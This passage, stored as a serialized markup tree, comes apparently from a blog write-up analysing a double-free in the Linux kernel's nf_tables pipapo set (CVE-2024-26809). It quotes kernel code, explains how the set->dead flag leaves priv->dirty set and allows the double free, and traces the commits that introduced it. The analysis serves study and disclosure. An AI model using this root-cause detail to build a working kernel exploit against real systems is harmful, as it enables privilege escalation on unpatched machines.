type":29,"value":34913},{"type":23,"tag":75,"props":64267,"children":64268},{"style":110},[64269],{"type":29,"value":64270}," set",{"type":23,"tag":75,"props":64272,"children":64273},{"style":94},[64274],{"type":29,"value":1156},{"type":23,"tag":75,"props":64276,"children":64277},{"style":110},[64278],{"type":29,"value":63674},{"type":23,"tag":75,"props":64280,"children":64281},{"style":94},[64282],{"type":29,"value":1347},{"type":23,"tag":75,"props":64284,"children":64285},{"style":3621},[64286],{"type":29,"value":64287}," // [4]\n",{"type":23,"tag":75,"props":64289,"children":64290},{"class":77,"line":270},[64291,64295],{"type":23,"tag":75,"props":64292,"children":64293},{"style":175},[64294],{"type":29,"value":62676},{"type":23,"tag":75,"props":64296,"children":64297},{"style":94},[64298],{"type":29,"value":245},{"type":23,"tag":75,"props":64300,"children":64301},{"class":77,"line":279},[64302],{"type":23,"tag":75,"props":64303,"children":64304},{"emptyLinePlaceholder":15},[64305],{"type":29,"value":276},{"type":23,"tag":75,"props":64307,"children":64308},{"class":77,"line":303},[64309,64314,64318,64322,64326,64330,64335],{"type":23,"tag":75,"props":64310,"children":64311},{"style":110},[64312],{"type":29,"value":64313},"  set",{"type":23,"tag":75,"props":64315,"children":64316},{"style":94},[64317],{"type":29,"value":1156},{"type":23,"tag":75,"props":64319,"children":64320},{"style":110},[64321],{"type":29,"value":63855},{"type":23,"tag":75,"props":64323,"children":64324},{"style":94},[64325],{"type":29,"value":1156},{"type":23,"tag":75,"props":64327,"children":64328},{"style":88},[64329],{"type":29,"value":63864},{"type":23,"tag":75,"props":64331,"children":64332},{"style":94},[64333],{"type":29,"value":64334},"(set);",{"type":23,"tag":75,"props":64336,"children":64337},{"style":3621},[64338],{"type":29,"value":64339}," // [5]\n",{"type":23,"tag":75,"props":64341,"children":64342},{"class":77,"line":322},[64343],{"type":23,"tag":75,"props":64344,"children":64345},{"style":94},[64346],{"type":29,"value":7477},{"type":23,"tag":75,"props":64348,"children":64349},{"class":77,"line":340},[64350],{"type":23,"tag":75,"props":64351,"children":64352},{"style":94},[64353],{"type":29,"value":369},{"type":23,"tag":32,"props":64355,"children":64356},{},[64357,64359,64365,64367,64372,64373,64378],{"type":29,"value":64358},"Later on, the ",{"type":23,"tag":71,"props":64360,"children":64362},{"className":64361},[],[64363],{"type":29,"value":64364},"nf_tables_commit_release()",{"type":29,"value":64366}," function is called to free any objects that were marked for release, and eventually calls the ",{"type":23,"tag":71,"props":64368,"children":64370},{"className":64369},[],[64371],{"type":29,"value":62204},{"type":29,"value":63524},{"type":23,"tag":71,"props":64374,"children":64376},{"className":64375},[],[64377],{"type":29,"value":63538},{"type":29,"value":64379}," method.",{"type":23,"tag":64,"props":64381,"children":64383},{"className":27738,"code":64382,"language":14432,"meta":7,"style":7},"static void nf_tables_commit_release(struct net *net)\n{\n[...]\n schedule_work(&trans_destroy_work);\n[...]\n}\n[...]\nstatic void nf_tables_trans_destroy_work(struct work_struct *w)\n{\n[...]\n list_for_each_entry_safe(trans, next, &head, list) {\n  nft_trans_list_del(trans);\n  nft_commit_release(trans);\n }\n}\n[...]\nstatic void nft_commit_release(struct nft_trans *trans)\n{\n switch (trans->msg_type) {\n[...]\n case NFT_MSG_DELSET:\n case NFT_MSG_DESTROYSET:\n  nft_set_destroy(&trans->ctx, nft_trans_set(trans));\n[...]\n}\n[...]\nstatic void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set)\n{\n[...]\n set->ops->destroy(ctx, set);\n[...]\n}\n",[64384],{"type":23,"tag":71,"props":64385,"children":64386},{"__ignoreMap":7},[64387,64426,64433,64440,64461,64468,64475,64482,64523,64530,64537,64558,64571,64583,64590,64597,64604,64645,64652,64680,64687,64700,64712,64753,64760,64767,64774,64832,64839,64846,64875,64882],{"type":23,"tag":75,"props":64388,"children":64389},{"class":77,"line":78},[64390,64394,64398,64402,64406,64410,64414,64418,64422],{"type":23,"tag":75,"props":64391,"children":64392},{"style":82},[64393],{"type":29,"value":62229},{"type":23,"tag":75,"props":64395,"children":64396},{"style":82},[64397],{"type":29,"value":62234},{"type":23,"tag":75,"props":64399,"children":64400},{"style":88},[64401],{"type":29,"value":64031},{"type":23,"tag":75,"props":64403,"children":64404},{"style":94},[64405],{"type":29,"value":643},{"type":23,"tag":75,"props":64407,"children":64408},{"style":82},[64409],{"type":29,"value":20652},{"type":23,"tag":75,"props":64411,"children":64412},{"style":94},[64413],{"type":29,"value":63187},{"type":23,"tag":75,"props":64415,"children":64416},{"style":209},[64417],{"type":29,"value":601},{"type":23,"tag":75,"props":64419,"children":64420},{"style":110},[64421],{"type":29,"value":63196},{"type":23,"tag":75,"props":64423,"children":64424},{"style":94},[64425],{"type":29,"value":653},{"type":23,"tag":75,"props":64427,"children":64428},{"class":77,"line":100},[64429],{"type":23,"tag":75,"props":64430,"children":64431},{"style":94},[64432],{"type":29,"value":2549},{"type":23,"tag":75,"props":64434,"children":64435},{"class":77,"line":121},[64436],{"type":23,"tag":75,"props":64437,"children":64438},{"style":94},[64439],{"type":29,"value":21566},{"type":23,"tag":75,"props":64441,"children":64442},{"class":77,"line":138},[64443,64448,64452,64456],{"type":23,"tag":75,"props":64444,"children":64445},{"style":88},[64446],{"type":29,"value":64447}," schedule_work",{"type":23,"tag":75,"props":64449,"children":64450},{"style":94},[64451],{"type":29,"value":643},{"type":23,"tag":75,"props":64453,"children":64454},{"style":209},[64455],{"type":29,"value":1277},{"type":23,"tag":75,"props":64457,"children":64458},{"style":94},[64459],{"type":29,"value":64460},"trans_destroy_work);\n",{"type":23,"tag":75,"props":64462,"children":64463},{"class":77,"line":161},[64464],{"type":23,"tag":75,"props":64465,"children":64466},{"style":94},[64467],{"type":29,"value":21566},{"type":23,"tag":75,"props":64469,"children":64470},{"class":77,"line":196},[64471],{"type":23,"tag":75,"props":64472,"children":64473},{"style":94},[64474],{"type":29,"value":369},{"type":23,"tag":75,"props":64476,"children":64477},{"class":77,"line":220},[64478],{"type":23,"tag":75,"props":64479,"children":64480},{"style":94},[64481],{"type":29,"value":21566},{"type":23,"tag":75,"props":64483,"children":64484},{"class":77,"line":248},[64485,64489,64493,64498,64502,64506,64511,64515,64519],{"type":23,"tag":75,"props":64486,"children":64487},{"style":82},[64488],{"type":29,"value":62229},{"type":23,"tag":75,"props":64490,"children":64491},{"style":82},[64492],{"type":29,"value":62234},{"type":23,"tag":75,"props":64494,"children":64495},{"style":88},[64496],{"type":29,"value":64497}," nf_tables_trans_destroy_work",{"type":23,"tag":75,"props":64499,"children":64500},{"style":94},[64501],{"type":29,"value":643},{"type":23,"tag":75,"props":64503,"children":64504},{"style":82},[64505],{"type":29,"value":20652},{"type":23,"tag":75,"props":64507,"children":64508},{"style":94},[64509],{"type":29,"value":64510}," work_struct ",{"type":23,"tag":75,"props":64512,"children":64513},{"style":209},[64514],{"type":29,"value":601},{"type":23,"tag":75,"props":64516,"children":64517},{"style":110},[64518],{"type":29,"value":60758},{"type":23,"tag":75,"props":64520,"children":64521},{"style":94},[64522],{"type":29,"value":653},{"type":23,"tag":75,"props":64524,"children":64525},{"class":77,"line":270},[64526],{"type":23,"tag":75,"props":64527,"children":64528},{"style":94},[64529],{"type":29,"value":2549},{"type":23,"tag":75,"props":64531,"children":64532},{"class":77,"line":279},[64533],{"type":23,"tag":75,"props":64534,"children":64535},{"style":94},[64536],{"type":29,"value":21566},{"type":23,"tag":75,"props":64538,"children":64539},{"class":77,"line":303},[64540,64544,64549,64553],{"type":23,"tag":75,"props":64541,"children":64542},{"style":88},[64543],{"type":29,"value":64182},{"type":23,"tag":75,"props":64545,"children":64546},{"style":94},[64547],{"type":29,"value":64548},"(trans, next, ",{"type":23,"tag":75,"props":64550,"children":64551},{"style":209},[64552],{"type":29,"value":1277},{"type":23,"tag":75,"props":64554,"children":64555},{"style":94},[64556],{"type":29,"value":64557},"head, list) {\n",{"type":23,"tag":75,"props":64559,"children":64560},{"class":77,"line":322},[64561,64566],{"type":23,"tag":75,"props":64562,"children":64563},{"style":88},[64564],{"type":29,"value":64565},"  nft_trans_list_del",{"type":23,"tag":75,"props":64567,"children":64568},{"style":94},[64569],{"type":29,"value":64570},"(trans);\n",{"type":23,"tag":75,"props":64572,"children":64573},{"class":77,"line":340},[64574,64579],{"type":23,"tag":75,"props":64575,"children":64576},{"style":88},[64577],{"type":29,"value":64578},"  nft_commit_release",{"type":23,"tag":75,"props":64580,"children":64581},{"style":94},[64582],{"type":29,"value":64570},{"type":23,"tag":75,"props":64584,"children":64585},{"class":77,"line":349},[64586],{"type":23,"tag":75,"props":64587,"children":64588},{"style":94},[64589],{"type":29,"value":7477},{"type":23,"tag":75,"props":64591,"children":64592},{"class":77,"line":363},[64593],{"type":23,"tag":75,"props":64594,"children":64595},{"style":94},[64596],{"type":29,"value":369},{"type":23,"tag":75,"props":64598,"children":64599},{"class":77,"line":656},[64600],{"type":23,"tag":75,"props":64601,"children":64602},{"style":94},[64603],{"type":29,"value":21566},{"type":23,"tag":75,"props":64605,"children":64606},{"class":77,"line":705},[64607,64611,64615,64620,64624,64628,64633,64637,64641],{"type":23,"tag":75,"props":64608,"children":64609},{"style":82},[64610],{"type":29,"value":62229},{"type":23,"tag":75,"props":64612,"children":64613},{"style":82},[64614],{"type":29,"value":62234},{"type":23,"tag":75,"props":64616,"children":64617},{"style":88},[64618],{"type":29,"value":64619}," nft_commit_release",{"type":23,"tag":75,"props":64621,"children":64622},{"style":94},[64623],{"type":29,"value":643},{"type":23,"tag":75,"props":64625,"children":64626},{"style":82},[64627],{"type":29,"value":20652},{"type":23,"tag":75,"props":64629,"children":64630},{"style":94},[64631],{"type":29,"value":64632}," nft_trans ",{"type":23,"tag":75,"props":64634,"children":64635},{"style":209},[64636],{"type":29,"value":601},{"type":23,"tag":75,"props":64638,"children":64639},{"style":110},[64640],{"type":29,"value":63746},{"type":23,"tag":75,"props":64642,"children":64643},{"style":94},[64644],{"type":29,"value":653},{"type":23,"tag":75,"props":64646,"children":64647},{"class":77,"line":787},[64648],{"type":23,"tag":75,"props":64649,"children":64650},{"style":94},[64651],{"type":29,"value":2549},{"type":23,"tag":75,"props":64653,"children":64654},{"class":77,"line":826},[64655,64660,64664,64668,64672,64676],{"type":23,"tag":75,"props":64656,"children":64657},{"style":175},[64658],{"type":29,"value":64659}," switch",{"type":23,"tag":75,"props":64661,"children":64662},{"style":94},[64663],{"type":29,"value":183},{"type":23,"tag":75,"props":64665,"children":64666},{"style":110},[64667],{"type":29,"value":63746},{"type":23,"tag":75,"props":64669,"children":64670},{"style":94},[64671],{"type":29,"value":1156},{"type":23,"tag":75,"props":64673,"children":64674},{"style":110},[64675],{"type":29,"value":63784},{"type":23,"tag":75,"props":64677,"children":64678},{"style":94},[64679],{"type":29,"value":193},{"type":23,"tag":75,"props":64681,"children":64682},{"class":77,"line":834},[64683],{"type":23,"tag":75,"props":64684,"children":64685},{"style":94},[64686],{"type":29,"value":21566},{"type":23,"tag":75,"props":64688,"children":64689},{"class":77,"line":881},[64690,64695],{"type":23,"tag":75,"props":64691,"children":64692},{"style":175},[64693],{"type":29,"value":64694}," case",{"type":23,"tag":75,"props":64696,"children":64697},{"style":94},[64698],{"type":29,"value":64699}," NFT_MSG_DELSET:\n",{"type":23,"tag":75,"props":64701,"children":64702},{"class":77,"line":3355},[64703,64707],{"type":23,"tag":75,"props":64704,"children":64705},{"style":175},[64706],{"type":29,"value":64694},{"type":23,"tag":75,"props":64708,"children":64709},{"style":94},[64710],{"type":29,"value":64711}," NFT_MSG_DESTROYSET:\n",{"type":23,"tag":75,"props":64713,"children":64714},{"class":77,"line":3390},[64715,64720,64724,64728,64732,64736,64740,64744,64748],{"type":23,"tag":75,"props":64716,"children":64717},{"style":88},[64718],{"type":29,"value":64719},"  nft_set_destroy",{"type":23,"tag":75,"props":64721,"children":64722},{"style":94},[64723],{"type":29,"value":643},{"type":23,"tag":75,"props":64725,"children":64726},{"style":209},[64727],{"type":29,"value":1277},{"type":23,"tag":75,"props":64729,"children":64730},{"style":94},[64731],{"type":29,"value":63746},{"type":23,"tag":75,"props":64733,"children":64734},{"style":209},[64735],{"type":29,"value":1156},{"type":23,"tag":75,"props":64737,"children":64738},{"style":110},[64739],{"type":29,"value":3331},{"type":23,"tag":75,"props":64741,"children":64742},{"style":94},[64743],{"type":29,"value":611},{"type":23,"tag":75,"props":64745,"children":64746},{"style":88},[64747],{"type":29,"value":63712},{"type":23,"tag":75,"props":64749,"children":64750},{"style":94},[64751],{"type":29,"value":64752},"(trans));\n",{"type":23,"tag":75,"props":64754,"children":64755},{"class":77,"line":3423},[64756],{"type":23,"tag":75,"props":64757,"children":64758},{"style":94},[64759],{"type":29,"value":21566},{"type":23,"tag":75,"props":64761,"children":64762},{"class":77,"line":3436},[64763],{"type":23,"tag":75,"props":64764,"children":64765},{"style":94},[64766],{"type":29,"value":369},{"type":23,"tag":75,"props":64768,"children":64769},{"class":77,"line":3449},[64770],{"type":23,"tag":75,"props":64771,"children":64772},{"style":94},[64773],{"type":29,"value":21566},{"type":23,"tag":75,"props":64775,"children":64776},{"class":77,"line":3457},[64777,64781,64785,64790,64794,64798,64802,64806,64810,64815,64819,64823,64827],{"type":23,"tag":75,"props":64778,"children":64779},{"style":82},[64780],{"type":29,"value":62229},{"type":23,"tag":75,"props":64782,"children":64783},{"style":82},[64784],{"type":29,"value":62234},{"type":23,"tag":75,"props":64786,"children":64787},{"style":88},[64788],{"type":29,"value":64789}," nft_set_destroy",{"type":23,"tag":75,"props":64791,"children":64792},{"style":94},[64793],{"type":29,"value":643},{"type":23,"tag":75,"props":64795,"children":64796},{"style":82},[64797],{"type":29,"value":2869},{"type":23,"tag":75,"props":64799,"children":64800},{"style":82},[64801],{"type":29,"value":396},{"type":23,"tag":75,"props":64803,"children":64804},{"style":94},[64805],{"type":29,"value":62256},{"type":23,"tag":75,"props":64807,"children":64808},{"style":209},[64809],{"type":29,"value":601},{"type":23,"tag":75,"props":64811,"children":64812},{"style":94},[64813],{"type":29,"value":64814},"ctx, ",{"type":23,"tag":75,"props":64816,"children":64817},{"style":82},[64818],{"type":29,"value":20652},{"type":23,"tag":75,"props":64820,"children":64821},{"style":94},[64822],{"type":29,"value":62284},{"type":23,"tag":75,"props":64824,"children":64825},{"style":209},[64826],{"type":29,"value":601},{"type":23,"tag":75,"props":64828,"children":64829},{"style":94},[64830],{"type":29,"value":64831},"set)\n",{"type":23,"tag":75,"props":64833,"children":64834},{"class":77,"line":3465},[64835],{"type":23,"tag":75,"props":64836,"children":64837},{"style":94},[64838],{"type":29,"value":2549},{"type":23,"tag":75,"props":64840,"children":64841},{"class":77,"line":3473},[64842],{"type":23,"tag":75,"props":64843,"children":64844},{"style":94},[64845],{"type":29,"value":21566},{"type":23,"tag":75,"props":64847,"children":64848},{"class":77,"line":3481},[64849,64853,64857,64861,64865,64870],{"type":23,"tag":75,"props":64850,"children":64851},{"style":110},[64852],{"type":29,"value":64270},{"type":23,"tag":75,"props":64854,"children":64855},{"style":94},[64856],{"type":29,"value":1156},{"type":23,"tag":75,"props":64858,"children":64859},{"style":110},[64860],{"type":29,"value":63855},{"type":23,"tag":75,"props":64862,"children":64863},{"style":94},[64864],{"type":29,"value":1156},{"type":23,"tag":75,"props":64866,"children":64867},{"style":88},[64868],{"type":29,"value":64869},"destroy",{"type":23,"tag":75,"props":64871,"children":64872},{"style":94},[64873],{"type":29,"value":64874},"(ctx, set);\n",{"type":23,"tag":75,"props":64876,"children":64877},{"class":77,"line":3524},[64878],{"type":23,"tag":75,"props":64879,"children":64880},{"style":94},[64881],{"type":29,"value":21566},{"type":23,"tag":75,"props":64883,"children":64884},{"class":77,"line":4890},[64885],{"type":23,"tag":75,"props":64886,"children":64887},{"style":94},[64888],{"type":29,"value":369},{"type":23,"tag":32,"props":64890,"children":64891},{},[64892,64894,64899,64901,64906,64908,64914,64916,64921,64923,64928,64930,64934,64936,64941,64942,64946,64948,64954],{"type":29,"value":64893},"It may appear as if it would be impossible to make ",{"type":23,"tag":71,"props":64895,"children":64897},{"className":64896},[],[64898],{"type":29,"value":62158},{"type":29,"value":64900}," true in the release step because the ",{"type":23,"tag":71,"props":64902,"children":64904},{"className":64903},[],[64905],{"type":29,"value":63530},{"type":29,"value":64907}," method is always invoked first...\nHowever, one last piece brings this bug to life: the ",{"type":23,"tag":71,"props":64909,"children":64911},{"className":64910},[],[64912],{"type":29,"value":64913},"set->dead",{"type":29,"value":64915}," flag. If a ",{"type":23,"tag":71,"props":64917,"children":64919},{"className":64918},[],[64920],{"type":29,"value":62204},{"type":29,"value":64922}," was marked for deletion, it receives the ",{"type":23,"tag":71,"props":64924,"children":64926},{"className":64925},[],[64927],{"type":29,"value":64913},{"type":29,"value":64929}," flag ",{"type":23,"tag":75,"props":64931,"children":64932},{},[64933],{"type":29,"value":14409},{"type":29,"value":64935},". If this flag is set, then the commit path will skip any commitments to this ",{"type":23,"tag":71,"props":64937,"children":64939},{"className":64938},[],[64940],{"type":29,"value":62204},{"type":29,"value":949},{"type":23,"tag":75,"props":64943,"children":64944},{},[64945],{"type":29,"value":28751},{"type":29,"value":64947},". This is extremely convenient for us and will allow us to trigger the double-free because the ",{"type":23,"tag":71,"props":64949,"children":64951},{"className":64950},[],[64952],{"type":29,"value":64953},"priv ->dirty",{"type":29,"value":64955}," flag is not cleared when it should have been.",{"type":23,"tag":24,"props":64957,"children":64959},{"id":64958},"tracing-the-guilty-commit",[64960],{"type":29,"value":64961},"Tracing the guilty commit",{"type":23,"tag":32,"props":64963,"children":64964},{},[64965,64967,64974,64976,64982,64984,64989,64991,64997],{"type":29,"value":64966},"The above scenario raises some interesting suppositions about how this vulnerability was introduced. See, any ",{"type":23,"tag":940,"props":64968,"children":64971},{"href":64969,"rel":64970},"https://ubuntu.com/security/CVE-2024-26809",[944],[64972],{"type":29,"value":64973},"advisories",{"type":29,"value":64975}," about this vulnerability will say it was introduced by this ",{"type":23,"tag":940,"props":64977,"children":64980},{"href":64978,"rel":64979},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9827a0e6e23bf43003cd3d5b7fb11baf59a35e1e",[944],[64981],{"type":29,"value":63864},{"type":29,"value":64983},", which sounds fair considering this added the weird code that frees twice in the same path. However, by checking the blame on the ",{"type":23,"tag":71,"props":64985,"children":64987},{"className":64986},[],[64988],{"type":29,"value":64913},{"type":29,"value":64990}," flag, which was what actually made this exploitable, we will learn that it was only introduced over a year after the commit above in this ",{"type":23,"tag":940,"props":64992,"children":64995},{"href":64993,"rel":64994},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5f68718b34a531a556f2f50300ead2862278da26",[944],[64996],{"type":29,"value":63864},{"type":29,"value":557},{"type":23,"tag":32,"props":64999,"children":65000},{},[65001],{"type":29,"value":65002},"By reading the message of the first commit, we can finally understand why this code was added:",{"type":23,"tag":64,"props":65004,"children":65008},{"className":65005,"code":65006,"language":65007,"meta":7,"style":7},"language-txt shiki shiki-themes slack-dark","New elements that reside in the clone are not released in case that the\ntransaction is aborted.\n\n[16302.231754] ------------[ cut here ]------------\n[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[...]\n[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G        W         5.19.0-rc3+ #155\n[...]\n[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n[...]\n[16302.231917] Call Trace:\n[16302.231919]  \u003CTASK>\n[16302.231921]  __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n[16302.231934]  nf_tables_abort+0x30/0x50 [nf_tables]\n[16302.231946]  nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n[16302.231952]  ? __nla_validate_parse+0x48/0x190\n[16302.231959]  nfnetlink_rcv+0x110/0x129 [nfnetlink]\n[16302.231963]  netlink_unicast+0x211/0x340\n[16302.231969]  netlink_sendmsg+0x21e/0x460\n\nAdd nft_set_pipapo_match_destroy() helper function to release the\nelements in the lookup tables.\n\nStefano Brivio says: \"We additionally look for elements pointers in the\ncloned matching data if priv->dirty is set, because that means that\ncloned data might point to additional elements we did not commit to the\nworking copy yet (such as the abort path case, but perhaps not limited\nto it).\"\n\nFixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\nReviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\nSigned-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n","txt",[65009],{"type":23,"tag":71,"props":65010,"children":65011},{"__ignoreMap":7},[65012,65020,65028,65035,65043,65051,65058,65066,65073,65081,65089,65096,65104,65112,65120,65128,65136,65144,65152,65160,65168,65175,65183,65191,65198,65206,65214,65222,65230,65238,65245,65253,65261],{"type":23,"tag":75,"props":65013,"children":65014},{"class":77,"line":78},[65015],{"type":23,"tag":75,"props":65016,"children":65017},{},[65018],{"type":29,"value":65019},"New elements that reside in the clone are not released in case that the\n",{"type":23,"tag":75,"props":65021,"children":65022},{"class":77,"line":100},[65023],{"type":23,"tag":75,"props":65024,"children":65025},{},[65026],{"type":29,"value":65027},"transaction is aborted.\n",{"type":23,"tag":75,"props":65029,"children":65030},{"class":77,"line":121},[65031],{"type":23,"tag":75,"props":65032,"children":65033},{"emptyLinePlaceholder":15},[65034],{"type":29,"value":276},{"type":23,"tag":75,"props":65036,"children":65037},{"class":77,"line":138},[65038],{"type":23,"tag":75,"props":65039,"children":65040},{},[65041],{"type":29,"value":65042},"[16302.231754] ------------[ cut here ]------------\n",{"type":23,"tag":75,"props":65044,"children":65045},{"class":77,"line":161},[65046],{"type":23,"tag":75,"props":65047,"children":65048},{},[65049],{"type":29,"value":65050},"[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":23,"tag":75,"props":65052,"children":65053},{"class":77,"line":196},[65054],{"type":23,"tag":75,"props":65055,"children":65056},{},[65057],{"type":29,"value":21566},{"type":23,"tag":75,"props":65059,"children":65060},{"class":77,"line":220},[65061],{"type":23,"tag":75,"props":65062,"children":65063},{},[65064],{"type":29,"value":65065},"[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G        W         5.19.0-rc3+ #155\n",{"type":23,"tag":75,"props":65067,"children":65068},{"class":77,"line":248},[65069],{"type":23,"tag":75,"props":65070,"children":65071},{},[65072],{"type":29,"value":21566},{"type":23,"tag":75,"props":65074,"children":65075},{"class":77,"line":270},[65076],{"type":23,"tag":75,"props":65077,"children":65078},{},[65079],{"type":29,"value":65080},"[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":23,"tag":75,"props":65082,"children":65083},{"class":77,"line":279},[65084],{"type":23,"tag":75,"props":65085,"children":65086},{},[65087],{"type":29,"value":65088},"[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n",{"type":23,"tag":75,"props":65090,"children":65091},{"class":77,"line":303},[65092],{"type":23,"tag":75,"props":65093,"children":65094},{},[65095],{"type":29,"value":21566},{"type":23,"tag":75,"props":65097,"children":65098},{"class":77,"line":322},[65099],{"type":23,"tag":75,"props":65100,"children":65101},{},[65102],{"type":29,"value":65103},"[16302.231917] Call Trace:\n",{"type":23,"tag":75,"props":65105,"children":65106},{"class":77,"line":340},[65107],{"type":23,"tag":75,"props":65108,"children":65109},{},[65110],{"type":29,"value":65111},"[16302.231919]  \u003CTASK>\n",{"type":23,"tag":75,"props":65113,"children":65114},{"class":77,"line":349},[65115],{"type":23,"tag":75,"props":65116,"children":65117},{},[65118],{"type":29,"value":65119},"[16302.231921]  __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n",{"type":23,"tag":75,"props":65121,"children":65122},{"class":77,"line":363},[65123],{"type":23,"tag":75,"props":65124,"children":65125},{},[65126],{"type":29,"value":65127},"[16302.231934]  nf_tables_abort+0x30/0x50 [nf_tables]\n",{"type":23,"tag":75,"props":65129,"children":65130},{"class":77,"line":656},[65131],{"type":23,"tag":75,"props":65132,"children":65133},{},[65134],{"type":29,"value":65135},"[16302.231946]  nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n",{"type":23,"tag":75,"props":65137,"children":65138},{"class":77,"line":705},[65139],{"type":23,"tag":75,"props":65140,"children":65141},{},[65142],{"type":29,"value":65143},"[16302.231952]  ? __nla_validate_parse+0x48/0x190\n",{"type":23,"tag":75,"props":65145,"children":65146},{"class":77,"line":787},[65147],{"type":23,"tag":75,"props":65148,"children":65149},{},[65150],{"type":29,"value":65151},"[16302.231959]  nfnetlink_rcv+0x110/0x129 [nfnetlink]\n",{"type":23,"tag":75,"props":65153,"children":65154},{"class":77,"line":826},[65155],{"type":23,"tag":75,"props":65156,"children":65157},{},[65158],{"type":29,"value":65159},"[16302.231963]  netlink_unicast+0x211/0x340\n",{"type":23,"tag":75,"props":65161,"children":65162},{"class":77,"line":834},[65163],{"type":23,"tag":75,"props":65164,"children":65165},{},[65166],{"type":29,"value":65167},"[16302.231969]  netlink_sendmsg+0x21e/0x460\n",{"type":23,"tag":75,"props":65169,"children":65170},{"class":77,"line":881},[65171],{"type":23,"tag":75,"props":65172,"children":65173},{"emptyLinePlaceholder":15},[65174],{"type":29,"value":276},{"type":23,"tag":75,"props":65176,"children":65177},{"class":77,"line":3355},[65178],{"type":23,"tag":75,"props":65179,"children":65180},{},[65181],{"type":29,"value":65182},"Add nft_set_pipapo_match_destroy() helper function to release the\n",{"type":23,"tag":75,"props":65184,"children":65185},{"class":77,"line":3390},[65186],{"type":23,"tag":75,"props":65187,"children":65188},{},[65189],{"type":29,"value":65190},"elements in the lookup tables.\n",{"type":23,"tag":75,"props":65192,"children":65193},{"class":77,"line":3423},[65194],{"type":23,"tag":75,"props":65195,"children":65196},{"emptyLinePlaceholder":15},[65197],{"type":29,"value":276},{"type":23,"tag":75,"props":65199,"children":65200},{"class":77,"line":3436},[65201],{"type":23,"tag":75,"props":65202,"children":65203},{},[65204],{"type":29,"value":65205},"Stefano Brivio says: \"We additionally look for elements pointers in the\n",{"type":23,"tag":75,"props":65207,"children":65208},{"class":77,"line":3449},[65209],{"type":23,"tag":75,"props":65210,"children":65211},{},[65212],{"type":29,"value":65213},"cloned matching data if priv->dirty is set, because that means that\n",{"type":23,"tag":75,"props":65215,"children":65216},{"class":77,"line":3457},[65217],{"type":23,"tag":75,"props":65218,"children":65219},{},[65220],{"type":29,"value":65221},"cloned data might point to additional elements we did not commit to the\n",{"type":23,"tag":75,"props":65223,"children":65224},{"class":77,"line":3465},[65225],{"type":23,"tag":75,"props":65226,"children":65227},{},[65228],{"type":29,"value":65229},"working copy yet (such as the abort path case, but perhaps not limited\n",{"type":23,"tag":75,"props":65231,"children":65232},{"class":77,"line":3473},[65233],{"type":23,"tag":75,"props":65234,"children":65235},{},[65236],{"type":29,"value":65237},"to it).\"\n",{"type":23,"tag":75,"props":65239,"children":65240},{"class":77,"line":3481},[65241],{"type":23,"tag":75,"props":65242,"children":65243},{"emptyLinePlaceholder":15},[65244],{"type":29,"value":276},{"type":23,"tag":75,"props":65246,"children":65247},{"class":77,"line":3524},[65248],{"type":23,"tag":75,"props":65249,"children":65250},{},[65251],{"type":29,"value":65252},"Fixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\n",{"type":23,"tag":75,"props":65254,"children":65255},{"class":77,"line":4890},[65256],{"type":23,"tag":75,"props":65257,"children":65258},{},[65259],{"type":29,"value":65260},"Reviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\n",{"type":23,"tag":75,"props":65262,"children":65263},{"class":77,"line":4937},[65264],{"type":23,"tag":75,"props":65265,"children":65266},{},[65267],{"type":29,"value":65268},"Signed-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n",{"type":23,"tag":32,"props":65270,"children":65271},{},[65272,65274,65279,65281,65286,65288,65293,65295,65300],{"type":29,"value":65273},"As we previously discussed, committing changes to a pipapo ",{"type":23,"tag":71,"props":65275,"children":65277},{"className":65276},[],[65278],{"type":29,"value":62204},{"type":29,"value":65280}," is implemented by creating a clone of the match object, to which changes are made during the control plane. Later, if we enter the commit path, the changes are committed in the ",{"type":23,"tag":71,"props":65282,"children":65284},{"className":65283},[],[65285],{"type":29,"value":63530},{"type":29,"value":65287}," method by simply replacing the ",{"type":23,"tag":71,"props":65289,"children":65291},{"className":65290},[],[65292],{"type":29,"value":62204},{"type":29,"value":65294},"s match object with its updated clone. So checking the ",{"type":23,"tag":71,"props":65296,"children":65298},{"className":65297},[],[65299],{"type":29,"value":62158},{"type":29,"value":65301}," flag and then calling free again ensures we also free uncommitted changes.",{"type":23,"tag":32,"props":65303,"children":65304},{},[65305,65307,65312],{"type":29,"value":65306},"This doesn't make sense in the commit path but only in the abort path. Evidently, when aborting the transaction that creates the ",{"type":23,"tag":71,"props":65308,"children":65310},{"className":65309},[],[65311],{"type":29,"value":62204},{"type":29,"value":65313},", there will be no committed changes, and there will only be the elements inside the clone, which will end up never being committed. So, to make sure we free these uncommitted elements, 